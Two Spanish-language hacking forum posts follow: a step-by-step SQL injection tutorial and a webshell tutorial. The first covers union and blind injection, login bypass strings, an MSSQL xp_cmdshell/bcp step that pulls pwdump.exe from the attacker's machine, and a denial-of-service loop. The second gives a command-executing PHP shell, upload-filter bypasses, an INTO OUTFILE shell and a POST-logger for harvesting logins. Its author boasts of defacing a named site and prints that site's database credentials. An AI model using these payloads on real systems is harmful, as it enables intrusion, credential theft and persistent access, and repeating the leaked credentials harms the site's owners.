Cuanod te logeas en la forma la aplicacion busca la DATA del usuario en la tabla del usuario que proporcionastes asi como el password, asi la aplicacion despues de encontrar el usuario y contrasena que suplistes te dejara logearte en dicha aplicacion., si se diera el caso que los datos son icorrectos pues la aplicacion te lo informara que los datos son icorrectos o el usuario que proporcionaste no existe etc., ya a de haberle pasado alguna vez..

SQL puede darte estos datos en pantalla tambien y mostrar la informacion dentro de una palicacion web., eso en el ejemplo de las formas de logeo asi como si la aplicacion tiene una seccion de posteo de links pues tendra una tabla en la base de datos que guarda y gestiona los links publicados, lo mismo para noticias, una tabla que guardara los nombres de las noticias, en este caso la mayoria de las veces estas noticias u cosas,artculos se identifican la mayoria de las veces en las tablas por un numero.

como nos damos de cuenta cual es ese numero si miramos la url del sitio que estamos probando dira o sera asi

---> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=69 ]

la url le dice al sitio ue mire la tabla que tiene el nombre del articulo que es :

[ ArticuloID que es "69" ]

Una vez que el sitio busca la tabla del "ArticuloID" que se Busca la misma linea que se llama "Titulo" Dentro de la columna y la muestra en tu navegador.

En este otro caso veremos "lammer" como titulo de nuestro Articulo, recuerden que es bien importante ver que esta escrito despues de '=' que es parte de un comando SQL siempre tengamos eso en mente:
####################
#Articulo_Id#Titulo#
#===========#======#
#69         #lammer#
#70         #kiddie#
#71         #noob  #
####################

OK y entonces que es lo que debemos hacer ya que tenemos nuestra victima? ok ejecutaremos comandos manualmente a ver si nuestra aplicacion es vulnerable,realizando nuestras consultas via navegador (firefox) xD, ejecutaremos ese comando siempre despues de '=' si es el caso que queremos inyectar en la forma que nos muestra los articulos,etc., si es el caso que es una forma de autentificacion sease usuario + password pues los comandos los ejecutaremos en los campos mencionados. como una barra de busqueda una barra de usuario o password.

si es vulnerable siempre el sitio hara lo que le digas que haga solo manipulando las consultas SQL xD

Es muy importante siempre leer y aprender sobre lo que estas haciendo aprender los comandos y todo aplicarlo a full ya que de esa manera la practica te hara un maestro. Memorizarte poco a poco te hara bien y entonces nos familiarizamos con algunos comandos SQL:

#################################################################################################################
Comando                      ##                                     Uso                                         #
================================================================================================================#
ORDER BY               Le Ordena Al sitio que nos muestre la columna en la misma pagina que estamos visualizando#
OR                     El Comando se usa si una sentencia es verdadera dentro de la consulta SQL                #
+                      Se Usa En Vez De Usar Espacio Lease,Entiendase la tecla de Espacio [Space]               #
--                     Termina Una sentencia de comandos SQL asi como lasm ';' en perl etc                      #                     
AND                    Ambas consultas tienen que ser verdaderas dentro de la base de datos Para ser llevada    #
UPDATE                 Cambia la informacion dentro de una Columna O Una Tabla                                  #
SELECT                 Especifica Informacion En una Tabla                                                      #
#################################################################################################################

La manera mas sencilla de aplicar una inyeccion sql,es burlando autentificaciones,que son nada mas o menos que las autentificaciones de usuario y password:

algo como esto script para practicar en tu localhost:

[auten.html]
####################################################
<form action="auten.php" method="post">            #
Username: <input type="text" name="usuario" />     #
<br>                                               #
Password: <input type="password" name="password" />#
<input type="submit" value="Login" />              #
</form>                                            #
####################################################
[auten.php]
###############################################################################################
<?php                                                                                         #
$mysqlcon = mysql_connect("localhost:413","root","12345") or die(mysqlerror());               #
$username = $_POST['usuario'];                                                                #
$password = md5($_POST['password']);                                                          #
mysql_select_db("mydb", $mysqlcon ) or die(mysqlerror());                                     #
$loginauthsql = "SELECT * FROM USERS WHERE USER_NAME = '" . $username . "' AND PASSWORD = '" .#
$password . "'";                                                                              #
//esta parte te puede servir a la hora que vallas haciendo las consultas como referencia.     #
echo '<b>' . 'SQL QUERY: ' . '</b>' . $loginauthsql . "<br />" . "<br />";                    #
$result = mysql_query($loginauthsql, $mysqlcon) or die(mysqlerror());                         #
if (mysql_numrows($result) != 0 )                                                             #
{                                                                                             #
         echo 'AUTHENTICATION ' . '<font color="#00CC66">' . 'GRANTED' . '</font>';           #
}                                                                                             #
else                                                                                          #
{                                                                                             #
         echo 'AUTHENTICATION ' . '<font color="#FF0000">' . 'FAILED' . '</font>';            #
}                                                                                             #
mysql_close($mysqlcon);                                                                       #
?>                                                                                            #
###############################################################################################

Thanks Aelphaeis

pero en este caso probaremos con una consulta bien elemental dentro del mundo de las inyecciones sql y es con tan simple el uso de (') comilla , sabemos que en la forma el usuario y el password esta rodeado de comillas simples "'" entonces si sometemos a la forma una simple comilla te arrojara un error dado que hay 2 "'" (comillas) invisbles en la forma si sometemos a' te arrojara el error comun cuando hay un error de consulta SQL en el servidor obviamente nos daremos cuenta pero que realmente esta pasando detras de nostros ?:

cuando sometimos ' el servidor envio una consulta a la base de datos para interpretar ' que en los campos mencionados arriba estan rodeados de ellas 'usuario' seria el ejemplo al servidor no encontrar nada en la base de datos que consulte ese comando ni en las tablas ni en las lineas ni en las columnas por ende es un error del programador (entiendase) una vulnerabilidad aunque no en todos los casos.

siempre dentro de una base de datos tenemos el INFORMATION_SCHEMA que guarda cada nombre de las tablas y de las columnas de un sitio en siempre un servidor tendra el INFORMATION_SCHEMA como dato obvio su nombre nunca cambiara las tablas dentro de INFORMATION_SCHEMA que guarda los nombres de las otras tablas tendran una tabla dentro que se llamara INFORMATION_SCHEMA.TABLES el nombre de la columna que guarda la informacion que practicamente queremos se llama a su vez table_name la tabla que guarda el nombre de las otras columnas dentro de INFORMATION_SCHEMA se llama INFORMATION_SCHEMA.COLUMNS y sucesivamente la columna que guarda la informacion que queremos de esta parte se llama column_name recuerden que esto es dentro de INFORMATION_SCHEMA.COLUMNS., ya se les esta haciendo claro no?. xD

como explique antes podemos siempre encontrar la caracteristica que el sitio web que gestiona la base de datos siempre tiene "=" en su URL por ende que para ejecutar los comandos tenemos que hacerlo luego de "=" ok simplemente prueba con los comandos o consultas despues de...

ok vamos a nuestro escenario imaginario:

estamos navegando y nos encontramos nuevamente con la web:

--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10 ]

ok vamos a determinar si es vulnerable

--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+AND+1=0-- ]

bueno aqui lo que paso fue lo siguiente es que se supone que se muestre el articulo 10 solo se mostrara si 1 es igual que 0, en este caso  "AND" significa que para que el articulo 10 se muestre en el sitio debe existir (en la base de datos) "AND" 1 debe ser igual que 0, esto ocacionara que no se muestre el articulo ya que 1 no es igual que 0 .

--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+AND+1=1-- ]

se muestra el articulo 10 si el 1 es igual que el 1 .,el articulo se mostrara en la pagina ya que "AND" 1 es igual que 1 .,Ahoea sabemos que la aplicacion es vulnerable ya que se muestra cuando queremos y no lo haces cuando queremos xD., es hora de continuar con nuestro ataque ;-)
Ahora queremos encontrar las columnas de nuestro sitio:

--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+ORDER+BY+1-- ]

"ORDER BY 1" donde esta "1" es el numero de la columna lo que hace es mostrarnos la primera columna en la pagina.,"ORDER BY 2" nos mostrara la 2 columna en la pagina., sucesivamente vamos aunmentando los valores del numero sumandole (+) uno   hasta que nos muestre un error en la pagina y entonces cuando nos muestra el error la restamos uno de los numeros que pusimos y no te olvides de ese numero por ejemplo si sumastes numeros y te dio el error cuando pusistes hasta 6 entonces seria asi:

--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+ORDER+BY+5-- ]

bueno ya sabemos que tiene 5 columnas la aplicacion., ahora queremos conseguir el nombre de las tablas que ya arriba habiamos mencionado este comando pues eso lo haremos de esta manera:


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,4,5+FROM+INFORMATION_SCHEMA.TABLES-- ]


OK expliquemos esa sentencia SELECT Le indica al sitio que muestre la informacion de la tabla que usted especifica.,en este caso acabamos remplazando el numero del articulo que era 69 por un caracter negativo "-".,recordemos tambien que en pasos anteriores para buscar la columna ibamos sumandole numeros y agregandolos a la url pues en este caso los vamos poniendo uno al lado del otro separados de una coma "," (1,2,3,4,5).

Se supone que a estas alturas uno de esos numeros que pusistes en la consulta de la URL al menos uno se muestre en el website (pantalla).

ahora lo que iremos es remplazando los numeros en la URL por palabras si se van mostrando en la pantalla..


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_tabla,5+FROM+INFORMATION_SCHEMA.TABLES-- ]


Recuerden que deben remplazar un al menos uno de los numeros con "nombre_tabla" que es el nombre de la tabla.,FROM+INFORMATION_SCHEMA.TABLES recuerden tambien que esto te mostrara el nombre de la tabla que ya eso lo explicamos arriba.,el nombre de la tabla numero 4 que fue la que remplazamos se mostrara en la pantalla.,...


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_tabla,5+FROM+INFORMATION_SCHEMA.TABLES+WHERE+nombre_tabla>'displayed_table'-- ]


Estamos seguros que "nombre_tabla" no es la que buscamos y la que queremos es la que tiene los usuarios y los passwords.,para navegar una lista de tablas y encontrar la tabla correcta agregamos:

[+WHERE+nombre_tabla>'displayed_table']


  Displayed_table muestra la tabla incorrecta despues de TABLES por ende este comando displayed_table nos muestra la tabla siguiente despues de.,entonces lo que hacemos es que repetimos el paso anterior hasta que nos muestre una tabla deseada que en este caso la que queremos es la que contenga los usuarios.,ya cuando la consigas no olvides el nombre de la tabla que querias.,

Ahora queremos sacar nuestra columna o nombre de la columna:


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_columna,5+FROM+INFORMATION_S
CHEMA.COLUMNS+WHERE+nombre_tabla='CuentasUsuarios'-- ]


Entonces FROM+INFORMATION_SCHEMA.COLUMNS lo que hace es mostrarnos el nombre de las columnas en la tabla 'CuentasUsuarios'.,ahora en vez de mostrarse el nombre de la tabla se mostrara el nombre de la columna en la tabla 'CuentasUsuarios'..

como en pasos anteriores tenemos un blanco especifico y ahora en este caso buscar la columna especifica:


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_columna,5+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+nombre_tabla='CuentasUsuarios'+AND+nombre_columna>'displayed_column'-- ]


como reiteradamente mencione antes,queremos buscar la columna especifica de igual manera que hicimos para conseguir la tabla de usuarios antes.,si lo que queremos son los usuarios y passwords pues sabemos que debemos buscar las columnas que tengan nombres similares a usuarios,passwords,user,pass,logeo,acceso etc.

el comando anterior lo que hace es mostrar la columna que va siguiente a la mostrada que habiamos sacado previamente, y como ya mencione en el paso de sacar las tablas repetiremos los pasos hasta dar con la columna que queremos.

y ya dimos supuestamente con las columnas que queriamos que se llaman 'usuario' 'acceso' no olvidemos estas columnas tampoco,asumiendo que apuntaron los resultados para tener nuestra inyeccion final recordamos que los datos serian asi

##################################
#Nombre de Tabla         Columnas#
##################################
#CuentasUsuarios         usuario #
#                         acceso #
##################################


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,usuario,5+FROM+CuentasUsuarios-- ]


Este comando nos muestra la primera data de la columna "usuarios" de la tabla "CuentasUsuarios".

Digamos que la pagina nos mostro 'Cascanola' xD


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,acceso,3+FROM+CuentasUsuarios+WHERE+usuario='Cascanola'-- ]


Este comando nos mostrara el password del usuario 'Cascanola' que esta guardado en la tabla 'CuentasUsuarios'.,entonces en nuestra pagina se nos tiene que haber mostrado el password del usuario que en nuestro ataque imaginario es "12345678" xD...

entonces al final de nuestro ataque nos logueamos con el usuario 'Cascanola' y el password '12345678' xD Ewww...

recordemos que este escenario solo es suponiendo las paginas y las consultas se aplicaran con la pura logica del usuario..

ok podemos aplicar mas o menos los mismos metodos en otro tpo de base de datos no nesesariamente sql server, mssql de mocosoft xD, en fin las tecnicas mas o menos iguales aqui una rapida introduccion la misma web escenario pero en php..


[ www.webquenoesdelgobierno.com/index.php?id=0 ]


lo mismo que ya deben saber despues de "=" es nuestro articulo por ende la consulta a la base de dato y que si fuera el caso que fuera vulnerable nuestra aplicacion la inyeccion va a partir de "=".,

esta vez usamos de ejemplo un formulario de logeo y lo primero que usaremos el articulo siendo "=0" sera


[ 'OR 1=1--]


ok ya tenemos claro muchas cosillas debido a la lectura hasta este momento xD usaremos ese comando en los campos de logeo osea donde dice usuario y password,usemos otro ejemplo pero directo a la URL:


[ www.webquenoesdelgobierno.com/index.php?id=0  'OR 1=1-- ]

usualmente este lo usamos cuando es una inyeccion a ciegas que meramente hablaremos de ella mas adelante por consecuente haz de haber investigado de mas comandos SQL para sacar info dentro de las base de datos podemos usar muchos otros strings u comandos.


   admin'--
' or 0=0 --
" or 0=0 --
  or 0=0 --
'hi or 1=1--

hay muchas tecnicas abarcadas dentro del tema de las inyecciones sql de las que podemos poner muchicimas pero no quiero aburrirlos en el tema repetitivo y algo que quiero recrdarles que dentro de la base de datos no solamente podemos atacar con inyecciones SQL los Buffer Overflows que es un Ataque bien interesante y uno de los metodos favoritos de este servidor se pueden realizar dentro de ellas pero por ahora eso es en otro capitulo.

es bien impotante recordar que muchas veces nos enontramos con tal aplicacion y ni sabemos que tipo de base de datos gestiona pero eso lo iras mejorando durante el camino si aun asi no sabes como dar con ella puedes intentar con zenmap es una herramienta indispensable a la hora de hacer pentesting.

Ahora sigamos con el tema de las inyecciones en este caso las inyecciones a ciegas o como se conoce en ingles Blind SQL Injection.,ok explico que es esto usualmente cuando inyectamos una aplicacion y manipulamos la base de datos usualmente nos da los errores tipicos que nos indican si es vulnerable o no.,a raiz de esto los adminsitradores solo prohibe la muestra de errores en la programacion para que no sean mostradas en el sitio web para prevenir futuros ataques.

saben que administradores esto no los salva del todo xD igual si no muestra los errores puede ser vulnerable a inyeccion a ciegas ;-)

ok vamos a nuestro escenario imaginario para explicar mas sobre el asunto.digamos que nuestra webquenoesdelgobierno tiene una seccion que le da la oportunidad a sus empleados a ver los memos en linea de la empresa que son publicados blablabla la historia que ustedes quieran:


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 ]


entonces el comando que usara la web para buscar la data en la base de datos y mostrarse en la web sera este:


[ SELECT title, description,memoDate, body FROM memodats WHERE memodatID = 2 ]


y entonces el servidor respondera mostrando el 2 memo hecho por la empresa en forma de HTML para que pueda ser visualizado en dicha pagina (obviamente) y es lo que vemos con nuestros navegadores.

para probar si nuestra aplicacion es vulnerable traten de injectar un caracter mas despues del Parametro Comando WHERE y veamos que pasa?


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND 1=1 ]

por resultado el website realiza la siguiente consulta:


[ SELECT title, description, memoDate, body FROM memodats WHERE memodatID = 2 AND 1=1 ]


si por resultado la pagina se muestro con el 2 memo o sea la pagina normal que vistes al principio antes de hacer esa consulta pues tenemos una apliccion vulnerable a inyeccion SQL a ciegas.,si la aplicacion no fuera vulnerable pues simplemente la pagina no mostraba el memo o sea nuestra pagina por que el usuario hizo una mala consulta a la base de datos.

Cuanod probamos la aplicacion el Parametro WHERE es predecible 1=1 siempre sera nuestro inicio por ende real (exite) pero no siempre sabemos si es true entonce por que no le preguntamos a la base de datos directamente?:


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND USER_NAME() = 'dbo' ]


USER_NAME() s un parametro que te muestra el nombre del usuaro actual si el usuario actual es 'dbo' (el administrador) entonces el memo se mostrar (nuestra pagina) si no es asi no se mostrara tan sencillo como eso.

entonces podemos de muchas maneras seguir sacandole info a la aplicacion como nombre de la tabla un numero a la vez como la que ya aplicamos pero de otra manera:


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 109 ]


El Parametrdentro de la consulta 'SELECT' pregunta el nombre de la primera tabla del usuario de la base datos que obviamente siempre es lo primero que queremos haces a la hora de sql injection.,el parametro dentro de la consulta substring() esta funcion nos mostrara el primer caracter de nuestra consulta, el parametro lower() dentro de la consulta lo que hace es convertir ese caracter en letra minuscula, y finalmente el parametro ascii() dentro de la consulta lo que hace es mostrarnos ese caracter en ascii o sea el valor ascii, claro? XD ehh

si el servidor nos responde mostrando la pagina que normalmente estabamos visualizando o sea el memo pues sabemos que la primera letra de la consulta esta despues de m en ascii es valor 109,haciendo algunas consultas podemos dar con el valor exacto de la letra.


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 116 ]


si no se mostro nuestro memo (la pagina) pues el valor ascii es mayor que 109,pero menor que 116 la letra esta entre 'n' y 't'.


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 113 ]

otro falso(pagina no mostrada) pues debe estar entre '110' y '113'.


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 111 ]

falso nuevamente :O pues debe estar entre estas dos letras 'n' y 'o', entonces continuamos cambiando un poco la consulta:


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) = 111 ]


El servidor nos muestra nuestro memo (pagina) asi que es positivo nuestro nombre de tabla en este caso es 'o' asi como la primera tabla de ella,para sacar la segunda letra repetiremos el proceso pero cambiaremos el parametro de consulta en substring() que el parametro seria el numero que va despues de 'xtype='U'),.


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2,1))) = 109 ]


Repitamos el proceso hasta que nos de la palabra completa el problema de las inyecciones SQL a ciegas (Blind) es que tienen que hacer Hartas peticiones para dar con su objetivo,algo que lo pueden arreglar mientras van puliendo sus tecnicas.

repasemos otra vez atras con lo fundamental y su ejercicio es aqui es imaginarse el escenario y analizar la estructura del codigo SQL para saber de que manera es vulnerable analizemos este codigo:


[SQLQuery = "SELECT Username FROM Users WHERE Username = '" &
strUsername & "' AND Password = '" & strPassword & "'"
strAuthCheck = GetQueryResult(SQLQuery)
If strAuthCheck = "" Then
     boolAuthenticated = False
Else
     boolAuthenticated = True
End If]


ahora ustedes ya deben saber que cuando nos encontramos con una forma de logeo y password este codigo o similar es lo que tenemos en la base de datos vulnerable,entonces cuando metes los datos de usuario la consulta verifica en las tablas si hay algunos datos que concuerden con la data que acabas de admitir. si la data es encontrada pues eso se guarda en la variable strAuthCheck indicando que el usuario debe ser autentificado,si se diera que el usuario que accedimos no concuerda con ninguna de la data de la base de datos entonces la variable strAuthCheck se queda vacia por que el usuario no puede ser autentificado.

si las variables strUsername y strPassword tienen algun caracter que usted quiere pues usteden pueden modificar la consulta SQL para que le devuelva el nombre que ustedes quieren,sin nesesidad de saber el password u/o el usuario.pero eso les quedo ya bien claro atraves de la lectura solo que lo enfatizo mas para que se hagan de una idea totalmente clara,pueden decir pero si ya explicastes eso arriba. no esta demas refrescar el cocote xD.

ok preparemos otro posible escenario pero esta vez en sql server y digamos que ya obtuvistes los datos que quieres,entonces quieres ganar priilegios dentro del servidor y subir archivos al mismo muchos de los puertos que se podrian utilizar el firewall los bloquea como lo son los puertos 137-139.,lo que haremos es subir un archivo binario en una tabla creada por ti mismo directo en la base de datos y luego saltandolo a los directorios del server. xD
una manera bien rara pero todavia funciona

entonces crearemos una tabla en el servidor:


[ create table TablaMaligna (data text) ]

Despues de haber creado la tabla subiremos nuestro binario a la mismisima tabla que hemos creado:

[ bulk insert TablaMaligna
      from 'pwdump.exe'
      with (codepage='RAW') ]


El binario podemos descargarlo de manera remota al servidor victima con el siguiente comando:


[ exec xp_cmdshell 'bcp "select * from TablaMaligna" queryout
pwdump.exe -c -Craw -ipnuestra -Rus -N3n3Bueno' ]


este comando va a suceder una conexion entrante a nuestra pc y escribiendo los comandos en el ejecutable que estamos recreando,en este escenario usaremos el protocolo por defecto asi como el puerto por defecto que puede ser que el firewall bloquee esa conexion entonces haremos:


[ exec xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',
'N3n3Bueno','REG_SZ','DBMSSOCN,ipnuestra,80'
]


luego :


[ exec xp_cmdshell 'bcp "select * from TablaMaligna" queryout
pwdump.exe -c -Craw -go0ns -Rus -N3n3Bueno' ]


el primer comando SQL configurara una conexion remota interactiva en el puerto -80 hacia nuestra maquina mientras el segundo comando SQL se conectara con nuestra maquina a traves del puerto -80 para descargar nuestro archivo binario..

entonces se preguntaran por que tanto revolu y tanta cosa pero lo que queremos enfatizar con este paper es cubrir el tema por completo en cada una de las tecnicas usadas.antes de llegar a usar los scanners y cosas y algo que veo bien comun es la costumbre de usar el SSS :O si ese mismo scanners que te arroja un 80% de falsos positivos a sabiendas que a manos pueden hacer muchicimas cosas.

ahora iremos algo mas teorico sobre esta vulnerabilidad para acabar con este capitulo a la hora de buscar la vulnerabilidad de esa aplicacion debemos tener bien en claro que el cliente debe comunicarse con el servidor y cuales son nuestros objetivos dentro de la ejecucion de la inyeccion.

despues de obtener los privilegios o que ya tengamos claro que la aplicacion es vulnerable podemos hacer muchas cosas inclusive un ataque de denegacion de servicio:


[ create table #tmp (x varchar(8000))
exec('insert into #tmp select ''X''')
while 1=1 exec('insert into #tmp select * from #tmp' ]


si haciendo esa consulta y manipulando los comandos podemos crear una tabla y correra con un loop infinito insertando variables en la tabla :O., las tablas temporeras se guardan en el sistema temporero de la base de datos y eventualmente nuestra base de datos temporal crecera resultando en el consumo de todos los recursos,y por ende el sistema cae al no poder comunicarse con la base de datos.
#######################################################################################

las tecnicas son muchicimas y podemos continuar ire agregando mas tecnicas dado que la nesesidad que vayan por un paso a paso en estos tiempos es imprecindible. continuaremos con el proximo capitulo y espero que esta introduccion les haya gustado. por ahora terminamos aqui a pasar a lo proximo
========================================================================================================================================================

###########
#blood_rec#
###########


salu2
#56
Saludos a todos.
el tutorial esta basico, pero creo que a muchos les serviria :D

bueno el contenido de este minututorial es


Tips a la hora de usar shells + otras cuantas cosas

0x01 Q son la shells.
0x02 PhpShells
0x03 Creacion de PhpShells
0x04 Subir una shell a un servidor
0x05 Ya subi la shell y ahora?
0x06 Preparando el sistema para volver (Keylogger php) o (POSTlogger php)
0x07 Dejar shell incrustada (Shell Embedded)
0x08 Preguntas en otros foros sobre este tuto
0x09 Conclusion
0x10 Agradecimiento


0x01 Shell


A una shell como tal la podemos definir como el software que permite que el usuario acceda a los servicios del sistema sin ir directamente al kernel, si no precisamente a travez de la shell, en otras palabras la shell sera una intermediaria entre el usuario y el sistema.


0x02 PhpShell (WebShell)


Bueno en este orden de ideas podemos entonces decir que una phpShell es un intermediario entre el sistema y el usuario, con la particularidad que esta desarrollada en php, asi como hay shells hechas en php, tambien existen en un sin fin de lenguajes de programacion, la ventaja de q la shell este hecha en php o en algun lenguaje de programacion para la web, es q podremos usar la shell aprovechando los servicios de la maquina remota.

en otras palabras Gracias a que en la maquina remota esta corriendo un servicio, nuestra (Web)shell se ejecutara y podremos visualizarla por el navegador.


0x03 Creacion de una PhpShell.



Pues como se imaginaran si quicieramos crear una phpshell, lo que necesitariamos fundamentalmente es conocer a fondo el lenguaje de programacion en el que la vamos a desarrollar, y crear opciones de manejo de archivos, navegacion en el servidor etc, es decir, todo lo que nos facilite interactuar con el sistema remoto.
un miniejemplo de una shell, que pueda ejecutar comandos en el servidor seria.

partiendo de que el comando de php : system('dir'); ejecuta el comando dir en la maquina donde este alojado el archivo, entonces podremos decir que lo haremos para que ejecute todo lo que envien por un navegador.

¿como asi? si pues por ejemplo si hacemos un archivo php con el siguiente contenido:

Código: php
<?php
echo $_GET['comando'];
?>



lo guardamos como test.php. lo colocamos en un servidor web que soporte php (podrian hacerlo en uno free o localmente para probar) y accedemmos al archivo por el navegador asi

Código: php
www.dondeestemontado.com/test.php?comando=Hola


el resultado que nos debe arrojar el servidor es simpemente: Hola
pues lo que le decimos esq con GET osea hace referencia a lo q viaje por la url (por decirlo de algun modo) y solo decimos que escriba lo q llego en comando.


si modificamos el test.php por algo como esto
Código: php
<?php
system( $_GET['comando']);
?>

lo que hara sera ejecutar el comando q le enviemos por la url
por ejemplo si mandamos algo como esto en la url

Código: php
www.dondeestemontado.com/test.php?comando=dir


se ejecutara un dir en el servidor.

tambien podriamos hacer algo asi:

Código: php
<?php
show_code( $_GET['comando']);
?>


Código: php
www.dondeestemontado.com/test.php?comando=index.php


con lo que visualizaremos el codigo de index.php.

como ven, con este archivo php estamos de ciertaforma comunicandos con la maquina. asi que digamos q este es el principio basico de una shell. Actualemente encontraras shells famosas como c99,c100,r57... entre muchas otras, que ya cuentan con sistemas completo para saltarse muchos filtros. son faciles de encontrar. simpemente si quieren algunas de las q les digo coloquen en google:

Código: php
inurl:c99.txt


0x04 Subir una shell a un servidor

Cuando se trata de atacar un servidor web, lo que uno principalmente busca de cierta forma, es tratar de colar una phpshell, para que? pues para tener mas acceso al servidor e ir por la informacion que nos interesa.
osea que ya se imaginaran que necesitan un especie de uploading o explotar algun tipo de bug que permita subir archivos.  partiendo de ese principio basico se imaginaran que si colocamos digamos en google

Código: php
inurl:upload.php


encontraremos muchos uploading para probar haber si podemos colar una phpshell.
me he encontrado con muchas webs que no filtran las extensiones correctamente lo que nos permite subir archivos de forma arbitraria, eso es a lo llamamos Arbitrary file Upload, es asi como podemos subir una shell, sin tanto desmadre, y con poco esfuerzo.

aprovecho para contarle algo q me sucedio, durante el deface a el-informador... note e un principio q tenia blind sql inyeccion. pues como algunos sabran ese tipo de inyeccion son algo tediosas... tardamos mucho en dar con el resultado que queremos y a veces teniendo en cuenta q probablemente no corramos con suerte. entonces ps estaba trantando de hacerla cuando me dio por probar encontrar el panel de admin de la web que esta ubicado en:
Código: php
http://www.el-informador.com/admin/

me tope con una sorpresa cuando vi que habia un uploader para imagenes, asi que probe subir una shell.
y pues medio resultado... me sorprendi un poco e inclusive me dio algo de risa, pues de blind sql inyeccion a tener un uploading listo... y sin ningun esfuerzo pues jum... nos ahorramos bastante.
de esta forma subi la shell del informador (que aun esta online).

por otro lado, hay algunos tipos de filtros q nos podemos saltar, por ejemplo a veces usan cosas como

Código: php

<?php
if(strpos($HTTP_POST_FILES['file']['type'],"jpg"))
?>


aqui lo que hacen es mirar lo q viene en el campo type de la cabecera http, para obtener el tipo del archivo, si strpos encuentra el tipo devuelve la posicion, si no devuelve un falso... como todos sabran podemos modificar las cabeceras para cambiar el tipo, pueden usar el http live header, achilles, tamper data... por otro lado podemos encontrarnos con esta filtracion.

Código: php

<?php
$tipo=explode(".",$nombreFIle);
if($tipo[1]=='jpg'){
echo "paso";
}
?>

con lo que solo bastaria subir la shell con un nombre como este shell.jpg.php, porq? porq explode('.','shell.jpg.php')
parte el nombre en un vector y toma el . como referencia, por tanto la posicion 1 tiene jpg y la 2 tiene php. y al comparar solo con la 1 entonces al parecer seria un jpg.


haber comoquemonos en este contexto, no tenemos ningun uploading, solo tenemos un sql inyeccion, y no tenemos admin login ni nada. cuanto esto pasa, podemos intentar filtrar una shell con la setencia outfile
podria ser algo como :

Código: php
union+select+,1,2,'<? system($_GET[cmd]);  ?>'+into+oufile+ruta/shell.php




si nos pone mucha joda.. podemos intentar pasar el code php a hex para filtrarla.

Tambien podemos subir un archivo con PUT, bajo la condicion que el phpini este con esto

Código: php

allow_url_include = On
allow_url_fopen = On

teniendo el put activado podemos enviar enla cabecera http algo como
Código: php


PUT /archivo.php HTTP/1.1
Host: Ficticio.com
Content-Type: text/plain
Content-Length:4

<?php
aqui code de la shell
?>


y podremos subir shell.


0x05 Ya subi la shell y ahora?

Una vez que logremos tener la shell arriba, uno de los tips o cosas que podemos hacer es buscar los archivos de configuracion de la BD, para que? pues para usmear, o para dumpearla, como asi dumpearla? pues veran es simplemente descargarnos una copia de su BD, en particular las shells tienen opciones para los archivos q lista... como ver descargar editar etc.

ejemplo



ahora usmeando un poco encontramos los archivos de configuracion, inclusive notamos que nuestra shell nos lo indica.



si lo clickeamos nos dara informacion como esta:

Código: php
$user_db = 'i1n1f3o4_admin'; // Server Username    
$pass_db = 'infor2005'; // Server Password
$host_db = 'localhost'; // Server (e.g. localhost)
$db = 'i1n1f3o4_encuesta'; // Database to be created or name of existing database (Please note: Database containing dashes cannot be created)


con lo que nos podemos autenticar aqui.


Bueno una vez coloquemos los datos... de host,Bd user y password, podremos visualizar algo como:



la opcion dump es la que les habia mencionado previamente, y pues podran navegar en la bd... hagan de cuenta que es un cliente mysql.

la shell tiene opciones para hacer back conection.
para que sirve? pues para bypasear el cortafuegos, podemos leer archivos ya sea usando php o mysql... podremos hacer un sinfin de cosas, yo aconsejo que le brujeen a la shell ojala la la monten localmente, y ensayan las opciones. que pues son bastante intuitivas.

0x06 Preparando el sistema para volver
Bueno pues la idea es que una vez entramos, dejemos asegurado un proximo regreso, por ello esta es una de las tantas opciones, se trata de guardar en un log (que podria ser remoto pero que aqui lo dejo de forma local), esto se puede ubicar en el archivo php encargado de recibir los datos del login

Código: php

<?php
foreach($_POST as $index => $valor){
$log="[in]".$log.$index." = > ".$valor."[in]<br>";
}

$logFile= fopen('logs.txt', 'a');
fwrite($logFile, $log."\n");
?>


Ahora podremos ver lo que guarde el log en logs.txt, aclaro q es un ejemplo simple, se podrian hacer cosas como conexion por ftp... etc. y si el admin quiere darse cuenta que le dejamos un keylogger (seria mas un POST logger o algo asi), pues tendria que ir a revisar el codigo fuente de su aplicacion.

0x07 Dejar shell incrustada (Shell Embedded)

